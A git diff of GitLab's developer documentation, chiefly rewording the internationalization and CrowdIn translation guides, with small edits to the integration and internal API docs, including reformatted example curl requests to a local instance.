- specifications we need, and if there is no need to add it as a new format because is very particular (i.e. it's only used in a single view). + - **Using the `l` helper**: for example, `l(active_session.created_at, format: :short)`. We have + some predefined formats for [dates](https://gitlab.com/gitlab-org/gitlab/-/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/config/locales/en.yml#L54) + and [times](https://gitlab.com/gitlab-org/gitlab/-/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/config/locales/en.yml#L262). + If you need to add a new format, because other parts of the code could benefit from it, add it + to the file [`en.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/locales/en.yml). + - **Using `strftime`**: for example, `milestone.start_date.strftime('%b %-d')`. We use `strftime` + in case none of the formats defined in [`en.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/locales/en.yml) + match the date/time specifications we need, and if there's no need to add it as a new format + because it's very particular (for example, it's only used in a single view). ## Best practices ### Minimize translation updates -Updates can result in the loss of the translations for this string. To minimize risks, -avoid changes to strings, unless they: +Updates can result in the loss of the translations for this string. To minimize risks, avoid changes +to strings unless they: -- Add value to the user. +- Add value for the user. - Include extra context for translators. -For example, we should avoid changes like this: +For example, avoid changes like this: ```diff - _('Number of things: %{count}') % { count: 10 } @@ -582,9 +587,10 @@ Examples: - Mappings for a dropdown list - Error messages -To store these kinds of data, using a constant seems like the best choice, however this doesn't work for translations. +To store these kinds of data, using a constant seems like the best choice. However, this doesn't +work for translations. -Bad, avoid it: +For example, avoid this: ```ruby class MyPresenter @@ -596,11 +602,13 @@ class MyPresenter end ``` -The translation method (`_`) is called when the class is loaded for the first time and translates the text to the default locale. Regardless of the user's locale, these values are not translated a second time. +The translation method (`_`) is called when the class loads for the first time and translates the +text to the default locale. Regardless of the user's locale, these values are not translated a +second time. -Similar thing happens when using class methods with memoization. +A similar thing happens when using class methods with memoization. -Bad, avoid it: +For example, avoid this: ```ruby class MyModel @@ -614,7 +622,7 @@ class MyModel end ``` -This method memorizes the translations using the locale of the user, who first "called" this method. +This method memoizes the translations using the locale of the user who first called this method. To avoid these problems, keep the translations dynamic. @@ -634,10 +642,10 @@ end ### Splitting sentences -Please never split a sentence as that would assume the sentence grammar and -structure is the same in all languages. +Never split a sentence, as it assumes the sentence's grammar and structure is the same in all +languages. -For instance, the following: +For example, this: ```javascript {{ s__("mrWidget|Set by") }} @@ -645,7 +653,7 @@ For instance, the following: {{ s__("mrWidget|to be merged automatically when the pipeline succeeds") }} ``` -should be externalized as follows: +Should be externalized as follows: ```javascript {{ sprintf(s__("mrWidget|Set by %{author} to be merged automatically when the pipeline succeeds"), { author: author.name }) }} @@ -653,7 +661,8 @@ should be externalized as follows: #### Avoid splitting sentences when adding links -This also applies when using links in between translated sentences, otherwise these texts are not translatable in certain languages. +This also applies when using links in between translated sentences. Otherwise, these texts are not +translatable in certain languages. - In Ruby/HAML, instead of: @@ -662,7 +671,7 @@ This also applies when using links in between translated sentences, otherwise th = s_('ClusterIntegration|Learn more about %{zones_link}').html_safe % { zones_link: zones_link } ``` - Set the link starting and ending HTML fragments as variables like so: + Set the link starting and ending HTML fragments as variables: ```haml - zones_link_url = 'https://cloud.google.com/compute/docs/regions-zones/regions-zones' @@ -687,7 +696,7 @@ This also applies when using links in between translated sentences, otherwise th </template> ``` - Set the link starting and ending HTML fragments as placeholders like so: + Set the link starting and ending HTML fragments as placeholders: ```html <template> @@ -714,7 +723,7 @@ This also applies when using links in between translated sentences, otherwise th }} ``` - Set the link starting and ending HTML fragments as placeholders like so: + Set the link starting and ending HTML fragments as placeholders: ```javascript {{ @@ -725,50 +734,47 @@ This also applies when using links in between translated sentences, otherwise th }} ``` -The reasoning behind this is that in some languages words change depending on context. For example in Japanese は is added to the subject of a sentence and を to the object. This is impossible to translate correctly if we extract individual words from the sentence. +The reasoning behind this is that in some languages words change depending on context. For example, +in Japanese は is added to the subject of a sentence and を to the object. This is impossible to +translate correctly if you extract individual words from the sentence. -When in doubt, try to follow the best practices described in this [Mozilla -Developer documentation](https://developer.mozilla.org/en-US/docs/Mozilla/Localization/Localization_content_best_practices#Splitting). +When in doubt, try to follow the best practices described in this [Mozilla Developer documentation](https://developer.mozilla.org/en-US/docs/Mozilla/Localization/Localization_content_best_practices#Splitting). ## Updating the PO files with the new content -Now that the new content is marked for translation, we need to update -`locale/gitlab.pot` files with the following command: +Now that the new content is marked for translation, run this command to update the +`locale/gitlab.pot` files: ```shell bin/rake gettext:regenerate ``` -This command updates `locale/gitlab.pot` file with the newly externalized -strings and remove any strings that aren't used anymore. You should check this -file in. Once the changes are on the default branch, they are picked up by -[CrowdIn](https://translate.gitlab.com) and be presented for -translation. +This command updates the `locale/gitlab.pot` file with the newly externalized strings and removes +any unused strings. Once the changes are on the default branch, [CrowdIn](https://translate.gitlab.com) +picks them up and presents them for translation. -We don't need to check in any changes to the `locale/[language]/gitlab.po` files. -They are updated automatically when [translations from CrowdIn are merged](merging_translations.md). +You don't need to check in any changes to the `locale/[language]/gitlab.po` files. They are updated +automatically when [translations from CrowdIn are merged](merging_translations.md). -If there are merge conflicts in the `gitlab.pot` file, you can delete the file -and regenerate it using the same command. +If there are merge conflicts in the `gitlab.pot` file, you can delete the file and regenerate it +using the same command. ### Validating PO files -To make sure we keep our translation files up to date, there's a linter that is -running on CI as part of the `static-analysis` job. - -To lint the adjustments in PO files locally you can run `rake gettext:lint`. +To make sure we keep our translation files up to date, there's a linter that runs on CI as part of +the `static-analysis` job. To lint the adjustments in PO files locally, you can run +`rake gettext:lint`. The linter takes the following into account: -- Valid PO-file syntax -- Variable usage - - Only one unnamed (`%d`) variable, since the order of variables might change - in different languages - - All variables used in the message ID are used in the translation - - There should be no variables used in a translation that aren't in the - message ID +- Valid PO-file syntax. +- Variable usage. + - Only one unnamed (`%d`) variable, since the order of variables might change in different + languages. + - All variables used in the message ID are used in the translation. + - There should be no variables used in a translation that aren't in the message ID. - Errors during translation. -- Presence of angle brackets (`<` or `>`) +- Presence of angle brackets (`<` or `>`). The errors are grouped per file, and per message ID: @@ -789,9 +795,8 @@ Errors in `locale/zh_TW/gitlab.po`: Failure translating to zh_TW with []: too few arguments ``` -In this output the `locale/zh_HK/gitlab.po` has syntax errors. -The `locale/zh_TW/gitlab.po` has variables that are used in the translation that -aren't in the message with ID `1 pipeline`. +In this output, `locale/zh_HK/gitlab.po` has syntax errors. The file `locale/zh_TW/gitlab.po` has +variables in the translation that aren't in the message with ID `1 pipeline`. ## Adding a new language @@ -803,9 +808,9 @@ NOTE: [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221012) in GitLab 13.3: Languages with less than 2% of translations are not available in the UI. -Let's suppose you want to add translations for a new language, let's say French. +Suppose you want to add translations for a new language, for example, French: -1. The first step is to register the new language in `lib/gitlab/i18n.rb`: +1. Register the new language in `lib/gitlab/i18n.rb`: ```ruby ... @@ -816,38 +821,33 @@ Let's suppose you want to add translations for a new language, let's say French. ... ``` -1. Next, you need to add the language: +1. Add the language: ```shell bin/rake gettext:add_language[fr] ``` - If you want to add a new language for a specific region, the command is similar, - you just need to separate the region with an underscore (`_`). For example: + If you want to add a new language for a specific region, the command is similar. You must + separate the region with an underscore (`_`), specify the region in capital letters. For example: ```shell bin/rake gettext:add_language[en_GB] ``` - Please note that you need to specify the region part in capitals. - -1. Now that the language is added, a new directory has been created under the - path: `locale/fr/`. You can now start using your PO editor to edit the PO file - located in: `locale/fr/gitlab.edit.po`. +1. Adding the language also creates a new directory at the path `locale/fr/`. You can now start + using your PO editor to edit the PO file located at `locale/fr/gitlab.edit.po`. -1. After you're done updating the translations, you need to process the PO files - in order to generate the binary MO files and finally update the JSON files - containing the translations: +1. After updating the translations, you must process the PO files to generate the binary MO files, + and update the JSON files containing the translations: ```shell bin/rake gettext:compile ``` -1. In order to see the translated content we need to change our preferred language - which can be found under the user's **Settings** (`/profile`). +1. To see the translated content, you must change your preferred language. You can find this under + the user's **Settings** (`/profile`). -1. After checking that the changes are ok, you can proceed to commit the new files. - For example: +1. After checking that the changes are ok, commit the new files. For example: ```shell git add locale/fr/ app/assets/javascripts/locale/fr/ diff --git a/doc/development/i18n/index.md b/doc/development/i18n/index.md index b0e34052d2a..c22bb6ff020 100644 --- a/doc/development/i18n/index.md +++ b/doc/development/i18n/index.md @@ -6,52 +6,49 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Translate GitLab to your language -The text in the GitLab user interface is in American English by default. -Each string can be translated to other languages. -As each string is translated, it is added to the languages translation file, -and is made available in future releases of GitLab. +The text in the GitLab user interface is in American English by default. Each string can be +translated to other languages. As each string is translated, it's added to the languages translation +file and made available in future GitLab releases. -Contributions to translations are always needed. -Many strings are not yet available for translation because they have not been externalized. -Helping externalize strings benefits all languages. -Some translations are incomplete or inconsistent. -Translating strings helps complete and improve each language. - -## How to contribute +Contributions to translations are always needed. Many strings are not yet available for translation +because they have not been externalized. Helping externalize strings benefits all languages. Some +translations are incomplete or inconsistent. Translating strings helps complete and improve each +language. There are many ways you can contribute in translating GitLab. -### Externalize strings +## Externalize strings -Before a string can be translated, it must be externalized. -This is the process where English strings in the GitLab source code are wrapped in a function that -retrieves the translated string for the user's language. +Before a string can be translated, it must be externalized. This is the process where English +strings in the GitLab source code are wrapped in a function that retrieves the translated string for +the user's language. -As new features are added and existing features are updated, the surrounding strings are being -externalized, however, there are many parts of GitLab that still need more work to externalize all +As new features are added and existing features are updated, the surrounding strings are +externalized. However, there are many parts of GitLab that still need more work to externalize all strings. See [Externalization for GitLab](externalization.md). -### Translate strings +## Translate strings -The translation process is managed at <https://translate.gitlab.com> +The translation process is managed at [https://translate.gitlab.com](https://translate.gitlab.com) using [CrowdIn](https://crowdin.com/). -You need to create an account before you can submit translations. -Once you are signed in, select the language you wish to contribute translations to. +You must create a CrowdIn account before you can submit translations. Once you are signed in, select +the language you wish to contribute translations to. -Voting for translations is also valuable, helping to confirm good and flag inaccurate translations. +Voting for translations is also valuable, helping to confirm good translations and flag inaccurate +ones. See [Translation guidelines](translation.md). -### Proofreading +## Proofreading -Proofreading helps ensure the accuracy and consistency of translations. All -translations are proofread before being accepted. If a translations requires -changes, you are notified with a comment explaining why. +Proofreading helps ensure the accuracy and consistency of translations. All translations are +proofread before being accepted. If a translation requires changes, a comment explaining why +notifies you. -See [Proofreading Translations](proofreader.md) for more information on who's -able to proofread and instructions on becoming a proofreader yourself. +See [Proofreading Translations](proofreader.md) for more information on who can proofread and +instructions on becoming a proofreader yourself. ## Release diff --git a/doc/development/i18n/merging_translations.md b/doc/development/i18n/merging_translations.md index 48474a68d16..e3211f5a8fc 100644 --- a/doc/development/i18n/merging_translations.md +++ b/doc/development/i18n/merging_translations.md @@ -9,43 +9,42 @@ info: To determine the technical writer assigned to the Stage/Group associated w CrowdIn automatically syncs the `gitlab.pot` file with the CrowdIn service, presenting newly added externalized strings to the community of translators. -[GitLab CrowdIn Bot](https://gitlab.com/gitlab-crowdin-bot) also creates merge requests +The [GitLab CrowdIn Bot](https://gitlab.com/gitlab-crowdin-bot) also creates merge requests to take newly approved translation submissions and merge them into the `locale/<language>/gitlab.po` -files. Check the [merge requests created by `gitlab-crowdin-bot`](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&utf8=%E2%9C%93&state=opened&author_username=gitlab-crowdin-bot) +files. Check the [merge requests created by `gitlab-crowdin-bot`](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&state=opened&author_username=gitlab-crowdin-bot) to see new and merged merge requests. ## Validation By default CrowdIn commits translations with `[skip ci]` in the commit -message. This is done to avoid a bunch of pipelines being run. Before -merging translations, make sure to trigger a pipeline to validate -translations, we have static analysis validating things CrowdIn -doesn't do. Create a new pipeline at `https://gitlab.com/gitlab-org/gitlab/pipelines/new` -(need Developer access permissions) for the `master-i18n` branch. +message. This avoids an excessive number of pipelines from running. +Before merging translations, make sure to trigger a pipeline to validate +translations. Static analysis validates things CrowdIn doesn't do. Create +a new pipeline at [`https://gitlab.com/gitlab-org/gitlab/pipelines/new`](https://gitlab.com/gitlab-org/gitlab/pipelines/new) +(need developer permissions) for the `master-i18n` branch. If there are validation errors, the easiest solution is to disapprove the offending string in CrowdIn, leaving a comment with what is -required to fix the offense. There is an +required to fix the errors. There's an [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/23256) -suggesting to automate this process. Disapproving excludes the -invalid translation, the merge request is then updated within a few +that suggests automating this process. Disapproving excludes the +invalid translation. The merge request is then updated within a few minutes. -If the translation has failed validation due to angle brackets `<` or `>` -it should be disapproved on CrowdIn as our strings should be -using [variables](externalization.md#html) for HTML instead. +If the translation fails validation due to angle brackets (`<` or `>`), +it should be disapproved in CrowdIn. Our strings must use [variables](externalization.md#html) +for HTML instead. -It might be handy to pause the integration on the CrowdIn side for a -little while so translations don't keep coming. This can be done by -clicking `Pause sync` on the [CrowdIn integration settings -page](https://translate.gitlab.com/project/gitlab-ee/settings#integration). +It might be useful to pause the integration on the CrowdIn side for a +moment so translations don't keep coming. You can do this by clicking +**Pause sync** on the [CrowdIn integration settings page](https://translate.gitlab.com/project/gitlab-ee/settings#integration). ## Merging translations After all translations are determined to be appropriate and the pipelines pass, you can merge the translations into the default branch. When merging translations, -be sure to select the **Remove source branch** check box, which causes CrowdIn -to recreate the `master-i18n` from the default branch after merging the new +be sure to select the **Remove source branch** checkbox. This causes CrowdIn +to recreate the `master-i18n` branch from the default branch after merging the new translation. We are discussing [automating this entire process](https://gitlab.com/gitlab-org/gitlab/-/issues/19896). @@ -54,10 +53,8 @@ We are discussing [automating this entire process](https://gitlab.com/gitlab-org CrowdIn creates a new merge request as soon as the old one is closed or merged. But it does not recreate the `master-i18n` branch every -time. To force CrowdIn to recreate the branch, close any [open merge -request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&utf8=%E2%9C%93&state=opened&author_username=gitlab-crowdin-bot) -and delete the -[`master-18n`](https://gitlab.com/gitlab-org/gitlab/-/branches/all?utf8=✓&search=master-i18n). +time. To force CrowdIn to recreate the branch, close any [open merge requests](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&state=opened&author_username=gitlab-crowdin-bot) +and delete the [`master-18n`](https://gitlab.com/gitlab-org/gitlab/-/branches/all?utf8=✓&search=master-i18n) branch. This might be needed when the merge request contains failures that have been fixed on the default branch. @@ -76,8 +73,8 @@ recreate it with the following steps: 1. Sign in to CrowdIn with the GitLab integration. 1. Go to **Settings > Integrations > GitLab > Set Up Integration**. 1. Select the `gitlab-org/gitlab` repository. -1. In `Select Branches for Translation`, select `master`. -1. Ensure the `Service Branch Name` is `master-i18n`. +1. In **Select Branches for Translation**, select `master`. +1. Ensure the **Service Branch Name** is `master-i18n`. ## Manually update the translation levels @@ -85,3 +82,9 @@ There's no automated way to pull the translation levels from CrowdIn, to display this information in the language selection dropdown. Therefore, the translation levels are hard-coded in the `TRANSLATION_LEVELS` constant in [`i18n.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/i18n.rb), and must be regularly updated. + +To update the translation levels: + +1. Get the translation levels (percentage of approved words) from [Crowdin](https://crowdin.com/project/gitlab-ee/settings#translations). + +1. Update the hard-coded translation levels in [`i18n.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/i18n.rb#L40). diff --git a/doc/development/i18n/proofreader.md b/doc/development/i18n/proofreader.md index a15eb4c3bc2..fc19ab93ecd 100644 --- a/doc/development/i18n/proofreader.md +++ b/doc/development/i18n/proofreader.md @@ -87,6 +87,7 @@ are very appreciative of the work done by translators and proofreaders! - Polish - Filip Mech - [GitLab](https://gitlab.com/mehenz), [CrowdIn](https://crowdin.com/profile/mehenz) - Maksymilian Roman - [GitLab](https://gitlab.com/villaincandle), [CrowdIn](https://crowdin.com/profile/villaincandle) + - Jakub Gładykowski - [GitLab](https://gitlab.com/gladykov), [CrowdIn](https://crowdin.com/profile/gladykov) - Portuguese - Diogo Trindade - [GitLab](https://gitlab.com/luisdiogo2071317), [CrowdIn](https://crowdin.com/profile/ldiogotrindade) - Portuguese, Brazilian @@ -108,7 +109,7 @@ are very appreciative of the work done by translators and proofreaders! - Spanish - Pedro Garcia - [GitLab](https://gitlab.com/pedgarrod), [CrowdIn](https://crowdin.com/profile/breaking_pitt) - Swedish - - Proofreaders needed. + - Johannes Nilsson - [GitLab](https://gitlab.com/nlssn), [CrowdIn](https://crowdin.com/profile/nlssn) - Turkish - Ali Demirtaş - [GitLab](https://gitlab.com/alidemirtas), [CrowdIn](https://crowdin.com/profile/alidemirtas) - Rıfat Ünalmış (Rifat Unalmis) - [GitLab](https://gitlab.com/runalmis), [CrowdIn](https://crowdin.com/profile/runalmis) @@ -121,35 +122,35 @@ are very appreciative of the work done by translators and proofreaders! ## Become a proofreader -Before requesting Proofreader permissions in CrowdIn, be sure you have a history -of contributing translations to the GitLab project. +Before requesting proofreader permissions in CrowdIn, be sure you have a history of contributing +translations to the GitLab project. 1. Contribute translations to GitLab. See instructions for [translating GitLab](translation.md). - Translating GitLab is a community effort that requires team work and - attention to detail. Proofreaders play an important role helping new - contributors, and ensuring the consistency and quality of translations. - Your conduct and contributions as a translator should reflect this before - requesting to be a proofreader. + Translating GitLab is a community effort that requires teamwork and attention to detail. + Proofreaders play an important role helping new contributors, and ensuring the consistency and + quality of translations. Your conduct and contributions as a translator should reflect this + before requesting to be a proofreader. + +1. Request proofreader permissions by opening a merge request to add yourself to the list of + proofreaders. + + Open the [`proofreader.md` source file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/i18n/proofreader.md) and click **Edit**. -1. Request proofreader permissions by opening a merge request to add yourself - to the list of proofreaders. + Add your language in alphabetical order and add yourself to the list, including: - Open the [proofreader.md source file](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/development/i18n/proofreader.md) and click **Edit**. + - Name + - Link to your GitLab profile + - Link to your CrowdIn profile - Add your language in alphabetical order, and add yourself to the list - including: - - name - - link to your GitLab profile - - link to your CrowdIn profile + In the merge request description, include links to any projects you have previously translated. - In the merge request description, include links to any projects you have - previously translated. +1. [GitLab team members](https://about.gitlab.com/company/team/), + [Core team members](https://about.gitlab.com/community/core-team/), + or current proofreaders fluent in the language consider your request to become a proofreader + based on the merits of your previous translations. -1. Your request to become a proofreader is considered on the merits of - your previous translations by [GitLab team members](https://about.gitlab.com/company/team/) - or [Core team members](https://about.gitlab.com/community/core-team/) who are fluent in - the language or current proofreaders. - - When a request is made for the first proofreader for a language and there are no [GitLab team members](https://about.gitlab.com/company/team/) - or [Core team members](https://about.gitlab.com/community/core-team/) who speak the language, we shall request links to previous translation work in other communities or projects. + - If you request to become the first proofreader for a language and there are no GitLab or Core + team members who speak that language, we request links to previous translation work in other + communities or projects. diff --git a/doc/development/i18n/translation.md b/doc/development/i18n/translation.md index f3d02e180e7..f2592d9a8b9 100644 --- a/doc/development/i18n/translation.md +++ b/doc/development/i18n/translation.md @@ -6,47 +6,39 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Translating GitLab -For managing the translation process we use [CrowdIn](https://crowdin.com). +For managing the translation process, we use [CrowdIn](https://crowdin.com). +To contribute translations at [`translate.gitlab.com`](https://translate.gitlab.com), +you must create a CrowdIn account. You may create a new account or use any of their supported +sign-in services. -## Using CrowdIn +## Language selections -The first step is to get familiar with CrowdIn. +GitLab is being translated into many languages. To select a language to contribute to: -### Sign In +1. Find the language that you want to contribute to, in the + [GitLab CrowdIn project](https://crowdin.com/project/gitlab-ee). -To contribute translations at <https://translate.gitlab.com> -you must create a CrowdIn account. -You may create a new account or use any of their supported sign in services. + - If the language you want is available, proceed to the next step. + - If the language you want is not available, + [open an issue](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=✓&state=all&label_name[]=Category%3AInternationalization). + Notify our CrowdIn administrators by including `@gitlab-org/manage/import` in your issue. + - After the issue and any merge requests are complete, restart this procedure. -### Language Selections +1. View the list of files and folders. Select `gitlab.pot` to open the translation editor. -GitLab is being translated into many languages. - -1. Find the language that you want to contribute to, in our - [GitLab Crowdin project](https://crowdin.com/project/gitlab-ee). - - If the language that you're looking for is available, proceed - to the next step. - - If the language you are looking for is not available, - [open an issue](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=✓&state=all&label_name[]=Category%3AInternationalization). Notify our Crowdin - administrators by including `@gitlab-org/manage/import` in your issue. - - After the issue/Merge Request is complete, restart this procedure. -1. Next, you can view list of files and folders. - Select `gitlab.pot` to open the translation editor. - -### Translation Editor +### Translation editor The online translation editor is the easiest way to contribute translations.  -1. Strings for translation are listed in the left panel -1. Translations are entered into the central panel. - Multiple translations are required for strings that contains plurals. - The string to be translated is shown above with glossary terms highlighted. - If the string to be translated is not clear, you can 'Request Context' +- Strings for translation are listed in the left panel. +- Translations are entered into the central panel. Multiple translations are required for strings + that contain plurals. The string to translate is shown in the above image with glossary terms + highlighted. If the string to translate isn't clear, you can request context. -A glossary of common terms is available in the right panel by clicking Terms. -Comments can be added to discuss a translation with the community. +A glossary of common terms is available in the **Terms** tab in the right panel. In the **Comments** +tab, you can add comments to discuss a translation with the community. Remember to **Save** each translation. @@ -56,21 +48,18 @@ Be sure to check the following guidelines before you translate any strings. ### Namespaced strings -When an externalized string is prepended with a namespace, e.g. -`s_('OpenedNDaysAgo|Opened')`, the namespace should be removed from the final -translation. -For example in French `OpenedNDaysAgo|Opened` would be translated to -`Ouvert•e`, not `OpenedNDaysAgo|Ouvert•e`. +When an externalized string is prepended with a namespace (for example, +`s_('OpenedNDaysAgo|Opened')`), the namespace should be removed from the final translation. For +example, in French, `OpenedNDaysAgo|Opened` is translated to `Ouvert•e`, not +`OpenedNDaysAgo|Ouvert•e`. ### Technical terms -Some technical terms should be treated like proper nouns and not be translated. - -Technical terms that should always be in English are noted in the glossary when -using <https://translate.gitlab.com>. - -This helps maintain a logical connection and consistency between tools (e.g. -`git` client) and GitLab. +You should treat some technical terms like proper nouns and not translate them. Technical terms that +should always be in English are noted in the glossary when using +[`translate.gitlab.com`](https://translate.gitlab.com). +This helps maintain a logical connection and consistency between tools (for example, a Git client) +and GitLab. ### Formality @@ -78,36 +67,33 @@ The level of formality used in software varies by language: | Language | Formality | Example | | -------- | --------- | ------- | -| French | formal | `vous` for `you` | -| German | informal | `du` for `you` | +| French | formal | `vous` for `you` | +| German | informal | `du` for `you` | -You can refer to other translated strings and notes in the glossary to assist -determining a suitable level of formality. +Refer to other translated strings and notes in the glossary to assist you in determining a suitable +level of formality. ### Inclusive language -[Diversity](https://about.gitlab.com/handbook/values/#diversity) is a GitLab value. -We ask you to avoid translations which exclude people based on their gender or -ethnicity. -In languages which distinguish between a male and female form, use both or -choose a neutral formulation. +[Diversity, inclusion, and belonging](https://about.gitlab.com/handbook/values/#diversity-inclusion) +are GitLab values. We ask you to avoid translations that exclude people based on their gender or +ethnicity. In languages that distinguish between a male and female form, use both or choose a +neutral formulation. <!-- vale gitlab.Spelling = NO --> -For example in German, the word "user" can be translated into "Benutzer" (male) or "Benutzerin" (female). -Therefore "create a new user" would translate into "Benutzer(in) anlegen". +For example, in German, the word _user_ can be translated into _Benutzer_ (male) or _Benutzerin_ +(female). Therefore, _create a new user_ translates to _Benutzer(in) anlegen_. <!-- vale gitlab.Spelling = YES --> ### Updating the glossary -To propose additions to the glossary please +To propose additions to the glossary, please [open an issue](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=✓&state=all&label_name[]=Category%3AInternationalization). -## French Translation Guidelines - -### Inclusive language in French +## French translation guidelines <!-- vale gitlab.Spelling = NO --> -In French, the "écriture inclusive" is now over (see on [Legifrance](https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000036068906/)). -So, to include both genders, write "Utilisateurs et utilisatrices" instead of "Utilisateur·rice·s". -When space is missing, the male gender should be used alone. +In French, the _écriture inclusive_ is now over (see on [Legifrance](https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000036068906/)). +To include both genders, write _Utilisateurs et utilisatrices_ instead of _Utilisateur·rice·s_. If +there is not enough space, use the male gender alone. <!-- vale gitlab.Spelling = YES --> diff --git a/doc/development/import_project.md b/doc/development/import_project.md index 0c8406e2ebc..71d8f8b34b9 100644 --- a/doc/development/import_project.md +++ b/doc/development/import_project.md @@ -53,7 +53,7 @@ This method takes longer to import than the other methods and depends on several ### Importing via a Rake task -> The [Rake task](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/tasks/gitlab/import_export/import.rake) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20724) in GitLab 12.6, replacing a GitLab.com Ruby script. +> The [Rake task](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/tasks/gitlab/import_export/import.rake) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20724) in GitLab 12.6, replacing a GitLab.com Ruby script. This script was introduced in GitLab 12.6 for importing large GitLab project exports. diff --git a/doc/development/integrations/codesandbox.md b/doc/development/integrations/codesandbox.md index 234f8c7fe0b..caef1cd045b 100644 --- a/doc/development/integrations/codesandbox.md +++ b/doc/development/integrations/codesandbox.md @@ -126,7 +126,7 @@ index 6eed627b502..1824669e881 100644 +++ b/app/models/application_setting_implementation.rb @@ -391,7 +391,7 @@ def static_objects_external_storage_enabled? # This will eventually be configurable - # https://gitlab.com/gitlab-org/gitlab/issues/208161 + # https://gitlab.com/gitlab-org/gitlab/-/issues/208161 def web_ide_clientside_preview_bundler_url - 'https://sandbox-prod.gitlab-static.net' + 'https://sandpack.local:8044' diff --git a/doc/development/integrations/jenkins.md b/doc/development/integrations/jenkins.md index f54abfd17fd..0e42055cba2 100644 --- a/doc/development/integrations/jenkins.md +++ b/doc/development/integrations/jenkins.md @@ -24,7 +24,8 @@ brew services start jenkins GitLab does not allow requests to localhost or the local network by default. When running Jenkins on your local machine, you need to enable local access. 1. Log into your GitLab instance as an administrator. -1. Go to **Admin Area > Settings > Network**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Network**. 1. Expand **Outbound requests** and check the following checkboxes: - **Allow requests to the local network from web hooks and services** diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md index fe3135b72b6..c4d8dfd3b95 100644 --- a/doc/development/integrations/secure.md +++ b/doc/development/integrations/secure.md @@ -550,7 +550,7 @@ of the available SAST Analyzers and what data is currently available. The `remediations` field of the report is an array of remediation objects. Each remediation describes a patch that can be applied to -[automatically fix](../../user/application_security/vulnerabilities/index.md#remediate-a-vulnerability-automatically) +[resolve](../../user/application_security/vulnerabilities/index.md#resolve-a-vulnerability) a set of vulnerabilities. Here is an example of a report that contains remediations. diff --git a/doc/development/integrations/secure_partner_integration.md b/doc/development/integrations/secure_partner_integration.md index fedd424309d..e6048bed152 100644 --- a/doc/development/integrations/secure_partner_integration.md +++ b/doc/development/integrations/secure_partner_integration.md @@ -90,7 +90,7 @@ and complete an integration with the Secure stage. - Documentation for [SAST reports](../../user/application_security/sast/index.md#reports-json-format). - Documentation for [Dependency Scanning reports](../../user/application_security/dependency_scanning/index.md#reports-json-format). - Documentation for [Container Scanning reports](../../user/application_security/container_scanning/index.md#reports-json-format). - - See this [example secure job definition that also defines the artifact created](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml). + - See this [example secure job definition that also defines the artifact created](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml). - If you need a new kind of scan or report, [create an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new#) and add the label `devops::secure`. - Once the job is completed, the data can be seen: @@ -101,7 +101,7 @@ and complete an integration with the Secure stage. - Users can interact with the findings from your artifact within their workflow. They can dismiss the findings or accept them and create a backlog issue. - To automatically create issues without user interaction, use the [issue API](../../api/issues.md). 1. Optional: Provide auto-remediation steps: - - If you specified `remediations` in your artifact, it is proposed through our [automatic remediation](../../user/application_security/vulnerabilities/index.md#remediate-a-vulnerability-automatically) + - If you specified `remediations` in your artifact, it is proposed through our [remediation](../../user/application_security/vulnerabilities/index.md#resolve-a-vulnerability) interface. 1. Demo the integration to GitLab: - After you have tested and are ready to demo your integration please diff --git a/doc/development/internal_api.md b/doc/development/internal_api.md index 57dd1c0a65b..95139f731e1 100644 --- a/doc/development/internal_api.md +++ b/doc/development/internal_api.md @@ -76,7 +76,9 @@ POST /internal/allowed Example request: ```shell -curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" --data "key_id=11&project=gnuwget/wget2&action=git-upload-pack&protocol=ssh" "http://localhost:3001/api/v4/internal/allowed" +curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" \ + --data "key_id=11&project=gnuwget/wget2&action=git-upload-pack&protocol=ssh" \ + "http://localhost:3001/api/v4/internal/allowed" ``` Example response: @@ -124,7 +126,8 @@ information for LFS clients when the repository is accessed over SSH. Example request: ```shell -curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" --data "key_id=11&project=gnuwget/wget2" "http://localhost:3001/api/v4/internal/lfs_authenticate" +curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" \ + --data "key_id=11&project=gnuwget/wget2" "http://localhost:3001/api/v4/internal/lfs_authenticate" ``` ```json @@ -258,7 +261,8 @@ GET /internal/two_factor_recovery_codes Example request: ```shell -curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "key_id=7" "http://localhost:3001/api/v4/internal/two_factor_recovery_codes" +curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" \ + --data "key_id=7" "http://localhost:3001/api/v4/internal/two_factor_recovery_codes" ``` Example response: @@ -305,7 +309,9 @@ POST /internal/personal_access_token Example request: ```shell 